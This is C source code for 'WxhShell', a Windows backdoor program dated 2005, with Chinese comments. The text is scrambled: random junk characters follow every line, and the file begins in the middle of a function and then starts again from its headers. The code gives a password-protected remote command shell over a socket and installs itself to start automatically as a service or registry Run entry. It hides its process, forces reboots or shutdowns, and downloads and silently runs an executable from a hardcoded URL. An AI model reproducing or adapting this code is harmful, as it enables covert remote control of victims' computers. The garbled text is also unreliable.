    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B#x.4~YX  
    if(Boot(SHUTDOWN)) G(7WUMjl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ' sTMUPg`  
    else { @EB2I+[  
    closesocket(wsh); JXF@b-c  
    ExitThread(0); Qw/H7fvh&  
    } q{oppali  
    break; sJ)Pj?"\?  
    } !5[5l!{x  
  // 获取shell [5Pin>]z  
  case 's': { X/`M'8v.%  
    CmdShell(wsh); %$SO9PY  
    closesocket(wsh); *z\L  
    ExitThread(0); +`~6Weay  
    break; $"]*,=-X  
  } ~i/K7qZ  
  // 退出 S -KHot ?  
  case 'x': { iwT PJGK|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L)j<;{J/Q0  
    CloseIt(wsh); $|bdeQPr\  
    break; 924a1  
    } \L{V|}"X  
  // 离开  q<Zza  
  case 'q': { d;O4)8 >  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O;?Nz:/q  
    closesocket(wsh); uu+)r  
    WSACleanup(); *.F4?i2D  
    exit(1); use` y^c  
    break; ptEChoZ6  
        } h1.<\GO  
  } &S+o oj  
  } Ow4H7 sl  
X[KHI1@w  
  // 提示信息 o+^5W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %6@->c{  
} JP*VR=0k?  
  } dw]jF=u  
._IBO;*@  
  return; 6E@qZvQ  
} &a bR}J[  
}IGoPCV|  
// shell模块句柄 j$Z:S~*  
int CmdShell(SOCKET sock) `5C uH  
{ Tg ~SGAc  
STARTUPINFO si; |#?:KvU97E  
ZeroMemory(&si,sizeof(si)); #J09Eka;J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZQY?wO: [  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xb~8uD5  
PROCESS_INFORMATION ProcessInfo; @j|=M7B  
char cmdline[]="cmd";  c 1o8   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6@; P  
  return 0; #:LI,t  
}  d| OEZx  
%d"d<pvx  
// 自身启动模式 C6{\^kG^j2  
int StartFromService(void) 5>u,Qh  
{ )7s(]~z  
typedef struct tzV^.QWm  
{ !{%BfZX<&  
  DWORD ExitStatus; dNfME*"yN  
  DWORD PebBaseAddress; Ek%mX"  
  DWORD AffinityMask; w=feXA3-S  
  DWORD BasePriority; bx8;`Q MX  
  ULONG UniqueProcessId; {YigB  
  ULONG InheritedFromUniqueProcessId; K@>($BX]  
}   PROCESS_BASIC_INFORMATION; hX9vtV5L  
H^r;,Q$9  
PROCNTQSIP NtQueryInformationProcess; JOFQyhY0>m  
^^Te  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @K=C`N_22  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GZWU=TC2{2  
GW;O35 m  
  HANDLE             hProcess; #4BwYj(Sl  
  PROCESS_BASIC_INFORMATION pbi; GLtd6;V  
Q.Xs%{B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LZH~VkK@m}  
  if(NULL == hInst ) return 0; {q1u[T&r  
^ R7|x+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^9fY %98  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [H5BIM@{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $~5ax8u&!#  
Dlqvz|X/  
  if (!NtQueryInformationProcess) return 0; ]m<z  
>&%#`PKT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VtnVl`/]  
  if(!hProcess) return 0; PJ3M,2H1b.  
Ssg1p#0J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bAS/cuZs  
Jy?; <  
  CloseHandle(hProcess); ?8]g&V  
PQJw"[N/YM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5/YGu=,  
if(hProcess==NULL) return 0; _ 2 oZhJ  
s&7TARd  
HMODULE hMod; DrA\-G_7  
char procName[255]; (j?ckah%V  
unsigned long cbNeeded; u1;sH{YK>  
mr2fNA>kR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dwJnPJ=z  
</]a`h]  
  CloseHandle(hProcess); #sM`>KG6T1  
<\`qRz0/  
if(strstr(procName,"services")) return 1; // 以服务启动 "el}9OitC  
~1:_w ni  
  return 0; // 注册表启动 ^2C \--=;  
} yIYQ.-DkS+  
MnTJFo"  
// 主模块 R@~=z5X( Q  
int StartWxhshell(LPSTR lpCmdLine) i[/`9 AK  
{ z07Xj%zX9  
  SOCKET wsl; i62GZe E  
BOOL val=TRUE; PvB{@82  
  int port=0; +; / s0  
  struct sockaddr_in door; 8/T[dn  
;u;_\k<qK  
  if(wscfg.ws_autoins) Install(); 7Fzj&!>ti  
sT'j36Nc<,  
port=atoi(lpCmdLine); 08G${@D+X0  
U(/8dCyyY  
if(port<=0) port=wscfg.ws_port; V@o#" gZ  
wA\a ]X.  
  WSADATA data; D6,Ol4d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kX%vTl7F  
g&I|@$\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ; ,n}>iTE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _E2W%N  
  door.sin_family = AF_INET; {PKf]m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r T_J6F5J  
  door.sin_port = htons(port); rT(b t~Z  
yb6gYN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X wIKpr8  
closesocket(wsl); <f#pS[A  
return 1; z1nKj\AM2  
} "7J38Ej\  
ZRj/lQ2D  
  if(listen(wsl,2) == INVALID_SOCKET) { ^cCNQS}r  
closesocket(wsl); S$n?  
return 1; m:6*4_!  
} \+j:d9?  
  Wxhshell(wsl); ),J6:O&  
  WSACleanup(); `Wd4d2aLG  
wvRwb   
return 0; .iYp9?t  
W. BX6  
} ? =G{2E.  
'x6rU"e$J  
// 以NT服务方式启动 wOg#J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '| p"HbJ  
{ @,m 7%,  
DWORD   status = 0; B#r"|x#[  
  DWORD   specificError = 0xfffffff; Je4hQJ<h  
o .( Gja4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ; )FmN[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -"rANP-UI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^hcK&  
  serviceStatus.dwWin32ExitCode     = 0; '^`iF,rg  
  serviceStatus.dwServiceSpecificExitCode = 0; wZVLpF+7  
  serviceStatus.dwCheckPoint       = 0; XT?wCb41R  
  serviceStatus.dwWaitHint       = 0; Clb7=@f  
Nq1YFI>W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,P%i%YPj  
  if (hServiceStatusHandle==0) return; hP}-yW6]  
5zOC zm  
status = GetLastError(); mt~E&Z(A  
  if (status!=NO_ERROR) E24j(>   
{ i.{.koH<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Rn)fwGC  
    serviceStatus.dwCheckPoint       = 0; OIDP#K  
    serviceStatus.dwWaitHint       = 0; nNf*Q r%Z  
    serviceStatus.dwWin32ExitCode     = status; *7w!~mn[m  
    serviceStatus.dwServiceSpecificExitCode = specificError; aNBwb9X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B=~uJUr  
    return; =b, m3 1  
  } 0g9y4z{H  
Xk!wT2;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \-SC-c  
  serviceStatus.dwCheckPoint       = 0; %C_c%3d  
  serviceStatus.dwWaitHint       = 0; kbo9nY1k g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %aV~RB#  
} ^1yD&i'q  
!%[fi[p  
// 处理NT服务事件,比如:启动、停止 hj}PL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OF2 W UcQ  
{ a"`> J!  
switch(fdwControl) WL?qulC}h1  
{ }0?XF/e(R  
case SERVICE_CONTROL_STOP: Shv$"x:W  
  serviceStatus.dwWin32ExitCode = 0; OZA^L;#>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V"B/4v>  
  serviceStatus.dwCheckPoint   = 0; )2Bb,p<Wr  
  serviceStatus.dwWaitHint     = 0; H>o \C  
  { %|j8#09  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `Tei  
  } C80< L5\  
  return; b +Z/nfS  
case SERVICE_CONTROL_PAUSE: Ahc9HA2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;2$0j1>  
  break; 5WvsS( 9H  
case SERVICE_CONTROL_CONTINUE: )7p(htCz5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^#IE t#  
  break; Wt=\hixj-  
case SERVICE_CONTROL_INTERROGATE: |AT`(71  
  break; ;/t~MH  
}; %w?C)$Kn\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WZTAXOw  
} FmFjRYA W  
J~n|5* cz  
// 标准应用程序主函数 W23Q>x&S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Te`@{>  
{ e ^,IZ{  
|QD#Dx1_  
// 获取操作系统版本 ; +.cD  
OsIsNt=GetOsVer(); c3 )jsf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iXq*EZb"R  
*Q)-"]O(k  
  // 从命令行安装 %'X~9Pvi  
  if(strpbrk(lpCmdLine,"iI")) Install(); r*dNta<  
hiEYIx  
  // 下载执行文件 mkhWbzD'S  
if(wscfg.ws_downexe) { _8!x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0X4)=sJP  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3y,2RernK  
} @biU@[D  
-+M360  
if(!OsIsNt) { o)>iHzR</  
// 如果时win9x,隐藏进程并且设置为注册表启动 i"x V=.  
HideProc(); ,FXc_BCx4  
StartWxhshell(lpCmdLine); !zvOCAb,  
} K|l}+:k  
else *[m:4\  
  if(StartFromService()) y/:%S2za>  
  // 以服务方式启动 d!4TwpIgx  
  StartServiceCtrlDispatcher(DispatchTable); (z8 ;J> 7  
else R7K`9 c1f6  
  // 普通方式启动 Xk/iyp/  
  StartWxhshell(lpCmdLine); ~y?Nn8+&f  
$VB dd~f  
return 0; g"k4Z  
} KVh#"]<WV  
1)jea wVmj  
`SOQPAnK+;  
RRpY%-8M  
=========================================== \yZVn6GVr  
i7Cuc+ j8  
3%Eu$|B  
:U *8S\$  
n#}~/\P6  
^#Mp@HK  
" N  /'  
.ZV='i()X  
#include <stdio.h> j S[#R_  
#include <string.h> >*opEI+  
#include <windows.h> Qc)i?Z'6  
#include <winsock2.h> Dy>6L79G  
#include <winsvc.h> Jm#p!G+  
#include <urlmon.h> ck%YEMs  
Vo+.s#wN`h  
#pragma comment (lib, "Ws2_32.lib") 9_nbMs   
#pragma comment (lib, "urlmon.lib") '=%`;?j  
vm{8x o  
#define MAX_USER   100 // 最大客户端连接数 +2}cR66%  
#define BUF_SOCK   200 // sock buffer [ZC\8tP`V  
#define KEY_BUFF   255 // 输入 buffer ^)I}#  
97$Q?a8S@  
#define REBOOT     0   // 重启 KO%$  
#define SHUTDOWN   1   // 关机 W$2 \GPJt  
2K{'F1"RM  
#define DEF_PORT   5000 // 监听端口 /H"fycZ  
)Tp"l"(G  
#define REG_LEN     16   // 注册表键长度 F'sX ^/;  
#define SVC_LEN     80   // NT服务名长度 ]uMZvAjb  
Yh!=mW!OY  
// 从dll定义API PH%'^YAl7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +3o0GJ   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <\fA}b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?|/K(}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dQZdL4  
9<&M~(dwT4  
// wxhshell配置信息 JqZt1um  
struct WSCFG { CLk,]kA'r  
  int ws_port;         // 监听端口 iETUBZ  
  char ws_passstr[REG_LEN]; // 口令 ~[dL:=?c  
  int ws_autoins;       // 安装标记, 1=yes 0=no }A,!|m4  
  char ws_regname[REG_LEN]; // 注册表键名 KvEv0L<ky  
  char ws_svcname[REG_LEN]; // 服务名 7s3=Fa:9Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iw=e"6V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 sNcU>qjj6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U._fb=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n|6G\99l+M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `2LmLFkb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rks"y&&Nc  
4w=v /WDo  
}; 7<*0fy5nn  
-gk2$P-  
// default Wxhshell configuration TukhGgmF  
struct WSCFG wscfg={DEF_PORT,  J]XLWAM  
    "xuhuanlingzhe", t!SxJ B e  
    1, WeaT42*Q{  
    "Wxhshell", H#D:'B j29  
    "Wxhshell", {6GX ?aw'  
            "WxhShell Service", az:}RE3o  
    "Wrsky Windows CmdShell Service", 1 :$#a  
    "Please Input Your Password: ", )^AZmUYZ  
  1, \8!CKnfs  
  "http://www.wrsky.com/wxhshell.exe", {U$XHG  
  "Wxhshell.exe" R]e&JoY  
    }; Z37Dv;&ZD  
- _ 8-i1?  
// 消息定义模块 *?d\Zcj85[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y0(.6HI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G4*&9Wo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0C> _aj  
char *msg_ws_ext="\n\rExit."; utuWFAGn A  
char *msg_ws_end="\n\rQuit."; (lS[a  
char *msg_ws_boot="\n\rReboot..."; ZD'mwj+K  
char *msg_ws_poff="\n\rShutdown..."; `h'l"3l  
char *msg_ws_down="\n\rSave to "; )^ZC'[93  
H v/5)  
char *msg_ws_err="\n\rErr!"; fs;\_E[)  
char *msg_ws_ok="\n\rOK!"; KpLaQb  
q[W6I9  
char ExeFile[MAX_PATH]; Khi;2{`  
int nUser = 0; gC(S(osF  
HANDLE handles[MAX_USER]; d/j?.\  
int OsIsNt; >'W,8F  
R:&y@/JY8[  
SERVICE_STATUS       serviceStatus; ]xMZo){[|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z9 Ch %A{  
~cSXBc,+  
// 函数声明 du$M  
int Install(void); ?%$O7_ThvA  
int Uninstall(void); +aL  
int DownloadFile(char *sURL, SOCKET wsh); ;22?-F^  
int Boot(int flag); JxwKTFU'3O  
void HideProc(void); !J<Xel {  
int GetOsVer(void); 21tv(x  
int Wxhshell(SOCKET wsl); J&fIW Z  
void TalkWithClient(void *cs); 4-SU\_  
int CmdShell(SOCKET sock); Pg:xC9w4  
int StartFromService(void); &z40l['4bz  
int StartWxhshell(LPSTR lpCmdLine); 4gC(zJ  
@O'NJh{D`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }Vob)r{R@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HVoP J!K3  
4)D~S4{E5  
// 数据结构和表定义  K];]  
SERVICE_TABLE_ENTRY DispatchTable[] = F"k`PF*b  
{  B>:U  
{wscfg.ws_svcname, NTServiceMain}, i6k6l%  
{NULL, NULL} 2^ ]^Yc  
}; CN ( :  
l$\B>u,>  
// 自我安装 N,rd= m+  
int Install(void) J-'XT_k:iM  
{ 1!G}*38;  
  char svExeFile[MAX_PATH]; 1}Q9y`65  
  HKEY key; (|Gwg\r  
  strcpy(svExeFile,ExeFile); EK=0oy[  
rf|Nu3AJ  
// 如果是win9x系统,修改注册表设为自启动 yUJ#LDW  
if(!OsIsNt) {  OM1{-W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D C/X|f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hvO$ f.i  
  RegCloseKey(key); ]58~b%s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Cy uRj[;B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aY? VP?BL  
  RegCloseKey(key); =cS5f#0  
  return 0; JD0s0>q_  
    } aV|V C $  
  } cL*oO@I&_  
} R/"-r^j  
else { ;f[##=tm  
3Fn}nek  
// 如果是NT以上系统,安装为系统服务 hx&fV#m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #`gX(C>  
if (schSCManager!=0) ~K#92  
{ R,78}7B  
  SC_HANDLE schService = CreateService qOy(dG g  
  ( N [3Y~HX!q  
  schSCManager, yH-&o,  
  wscfg.ws_svcname, !Whx^B:  
  wscfg.ws_svcdisp, K)    
  SERVICE_ALL_ACCESS, qGH[kd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )@I] Rk?  
  SERVICE_AUTO_START, +C7E]0!r  
  SERVICE_ERROR_NORMAL, pXlqE,  
  svExeFile, TA/hj>rV  
  NULL, b3[[ Ah-  
  NULL, GB}\7a  
  NULL, \^9n&MonM  
  NULL, } %?or_f/  
  NULL o96c`a u  
  ); de2G"'F  
  if (schService!=0) U W8yu.`?  
  { u;H^4} OQ  
  CloseServiceHandle(schService); !y~nsy:&7x  
  CloseServiceHandle(schSCManager); * bYU=RS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2>^(&95M  
  strcat(svExeFile,wscfg.ws_svcname); wM N;<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aWRi`poZT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @0PWbs$  
  RegCloseKey(key); BNjMq  
  return 0; H.XyNtJ  
    } "}1cQ|0a  
  } km9#lK  
  CloseServiceHandle(schSCManager); 7K.],eo0  
} hy;V~J#  
} am3.Dt2\  
h>*3i#  
return 1; 3GKKC9C6  
} xLFMC?I  
K]B`&ih  
// 自我卸载 8(Ptse  ,  
int Uninstall(void) qzORv  
{  "O9n|B  
  HKEY key; %pOxt<  
Nb3O> &J  
if(!OsIsNt) { HU/4K7e`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v)O].Hd  
  RegDeleteValue(key,wscfg.ws_regname); q1L>nvE  
  RegCloseKey(key); YU6|/ <8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { > O?<?  
  RegDeleteValue(key,wscfg.ws_regname); &E0^Jz  
  RegCloseKey(key); VhLfSN>W  
  return 0; q%q+2P>  
  } MtPdpm6\  
} N-2_kjb!  
} ndDF(qHr  
else { hP WP6;Z  
fW=<bf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $Lbamg->E  
if (schSCManager!=0) @N<h`vDa  
{ N.Q}.(N0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NpM;vO  
  if (schService!=0) `_1fa7,z  
  { -&1P2m/46  
  if(DeleteService(schService)!=0) { /CyFe<t  
  CloseServiceHandle(schService); PWp=}f.y  
  CloseServiceHandle(schSCManager); R#y"SxD()  
  return 0; wBw(T1VN  
  } & +k*+  
  CloseServiceHandle(schService); V8WSJ=-&  
  } Z*b l J5YC  
  CloseServiceHandle(schSCManager); B>cT <B  
} l+&DBw[  
} Zw{?^6;cS  
GNuIcy  
return 1; j -"34  
} +Tx_q1/f5X  
`ItoL7bi  
// 从指定url下载文件 kzK9 .  
int DownloadFile(char *sURL, SOCKET wsh) x%ccNP0  
{ NLx TiyQy  
  HRESULT hr; fyT|xI`iD  
char seps[]= "/"; JJg;X :p  
char *token; M,kO7g  
char *file; $.w$x1  
char myURL[MAX_PATH]; C,mfA%63  
char myFILE[MAX_PATH]; ..BP-N)V)  
j$s/YI:  
strcpy(myURL,sURL); j$ lf>.[I  
  token=strtok(myURL,seps); WPpO(@sn  
  while(token!=NULL) H0])>1sWB  
  { P'}B5 I~  
    file=token; =<PEvIn  
  token=strtok(NULL,seps); @T L|\T  
  } Qa:[iF  
=6 zK 1Z  
GetCurrentDirectory(MAX_PATH,myFILE); t\YM Hq<Y  
strcat(myFILE, "\\"); x3U>5F@  
strcat(myFILE, file); d)Z&_v<|  
  send(wsh,myFILE,strlen(myFILE),0); 2)0J@r'  
send(wsh,"...",3,0); ?VRsgV'$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  R:Ih#2R  
  if(hr==S_OK) F1-C8V2H  
return 0; u&TXN;I,p  
else !kb:g]X  
return 1; bd%< Jg+  
I7=A!C"  
} ="vg/@.>i  
]=i('|YG  
// 系统电源模块 D{y7[#$h$  
int Boot(int flag) H=~7g3  
{ ,=G]tnsv^  
  HANDLE hToken; :06.b:_  
  TOKEN_PRIVILEGES tkp; [kxOv7a  
[~\]<;;\  
  if(OsIsNt) { IqepR >5t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PXtF#,roP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3X DU(#  
    tkp.PrivilegeCount = 1; }hg2}g99  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O8" t.W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o%;ly  
if(flag==REBOOT) { ~a_X 7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T"X]@9g^-  
  return 0; KDP47A  
} :HY =^$\  
else { uHmvHA~/c8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &!WRa@x0I  
  return 0; [dFcxzM-N  
} !||Gfia  
  } b.?;I7r   
  else { { m{nCl)y  
if(flag==REBOOT) { {dRZ2U3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6`7bk35B  
  return 0; ]63! Wc  
} IDos4nM27]  
else { $$o(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oq$#wiV"Q  
  return 0; 2.MUQ;OX  
} + %K~  
} 7j=KiiI  
_&s pMf  
return 1; 8 qw{e`c  
} &?1^/]'"r  
<~w3[i=  
// win9x进程隐藏模块 ]e"!ZR?XJ  
void HideProc(void) ,!%E\`  
{ cqs.[0 z#B  
7 wEv`5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); puWMgvv  
  if ( hKernel != NULL ) TKGaGMx6@  
  { 'yA/sZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V'Kied+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ZPb30M0  
    FreeLibrary(hKernel); OyK#Rm2A=  
  } eu_ZsseZ  
]sVWQj  
return; I"lzOD; eI  
} aTeW#:m  
?r8hl.Z>  
// 获取操作系统版本 X?< L<:.  
int GetOsVer(void) "cBqZzkk9j  
{ Lq;iR  
  OSVERSIONINFO winfo; d-tg^Ot#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,t wB" *  
  GetVersionEx(&winfo); L1(-xNUo_i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |Z2"pV  
  return 1; cRbA+0m>  
  else 39P55B/o%  
  return 0; E7@Gpu,o  
} ~UO}PI`C  
:@-yK8q's  
// 客户端句柄模块 !P^Mo> "  
int Wxhshell(SOCKET wsl) @sg.0GR  
{ yOKzw~;0%  
  SOCKET wsh; zP2X}VLMo  
  struct sockaddr_in client; H6j t[  
  DWORD myID; x lqP%  
Mb\(52`)Q  
  while(nUser<MAX_USER) ,>kVVpu  
{ [' pO=ho  
  int nSize=sizeof(client); 0hGmOUO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U Xpp1/d|e  
  if(wsh==INVALID_SOCKET) return 1; vF'>?O?  
;sAGTq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wik<# ke  
if(handles[nUser]==0) C|3Xz[k{  
  closesocket(wsh); ZxT E(BQv  
else BQg3+w:>  
  nUser++; &V (6N%A^U  
  } vS0 ii  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !-3;Qj}V  
Y \B6c^E)  
  return 0; Z^as ?k(iM  
} il !B={  
N_iy4W(NU  
// 关闭 socket 5<v1v&  
void CloseIt(SOCKET wsh) ^5TVm>F@3  
{ q jc4IW t~  
closesocket(wsh); ;l @lA)i  
nUser--; ivq(eKy  
ExitThread(0); 6z6\xkr  
} J Ah!#S(  
Yt(FSb31H  
// 客户端请求句柄 ! s =$UC  
void TalkWithClient(void *cs) o1(;"5MM  
{ Wds>'zzS  
"73y}'  
  SOCKET wsh=(SOCKET)cs; C+s/KA%  
  char pwd[SVC_LEN]; X#$ oV#  
  char cmd[KEY_BUFF]; %(eQ1ir+  
char chr[1]; X|hYZR  
int i,j; LQPQ !):;  
R'c dEoy  
  while (nUser < MAX_USER) { M+ %O-B  
(rBsh6@)  
if(wscfg.ws_passstr) { Zio! j%G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #2_FM!e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GE!nf6>Km  
  //ZeroMemory(pwd,KEY_BUFF); *% ;A85V/  
      i=0; "t4z)j;  
  while(i<SVC_LEN) { Cst1nGPL  
-6- sI  
  // 设置超时 LvG$J*  
  fd_set FdRead; _r3Y$^!U  
  struct timeval TimeOut; ?l6yLn5si^  
  FD_ZERO(&FdRead); }5vKQf   
  FD_SET(wsh,&FdRead); #0<pRDXj  
  TimeOut.tv_sec=8; 2Cp4aTGv#  
  TimeOut.tv_usec=0; 3pWav 1"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WS n>P7sY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZNw|5u^N  
^\gb|LEnK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7Fo^ :"  
  pwd=chr[0]; j.Uy>ol  
  if(chr[0]==0xd || chr[0]==0xa) { ]}g\te  
  pwd=0; I(~([F2  
  break; *bFWNJ}`q  
  } ;F @Sz/  
  i++; Gxe)5,G  
    } i`F5  
ZiuD0#"!  
  // 如果是非法用户,关闭 socket C%yH}T\s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); As)?~dV  
} @3c'4O   
5CK\Z'c~!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A_@..hX(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?Sh]kJ O  
i_*yS+Z;  
while(1) { )'n@A%B  
rogy`mh\r2  
  ZeroMemory(cmd,KEY_BUFF); 5"nq h}5  
vOlfyH>  
      // 自动支持客户端 telnet标准   4utwcXL  
  j=0; m=9b/Nr4  
  while(j<KEY_BUFF) { RM_%u=jC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9)t b=  
  cmd[j]=chr[0]; _\+]/rY9o  
  if(chr[0]==0xa || chr[0]==0xd) { UiV#w#&P  
  cmd[j]=0; KU$,{Sn6@  
  break; 3<XuJ1V&  
  } QO;Dyef7b  
  j++; i. 6b%  
    } N:U}b1$L6  
s&nat4{B  
  // 下载文件 yGtTD9j  
  if(strstr(cmd,"http://")) { H1U$ApD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bQ3<>e\%B  
  if(DownloadFile(cmd,wsh)) c+3(|k-M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 87!jn'A  
  else dnD@BQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >|%3j,<U  
  } l GYW[0dy  
  else { ^)]U5+g?  
F,S)P`?  
    switch(cmd[0]) { u=nd7:bv  
  @* vVc`;  
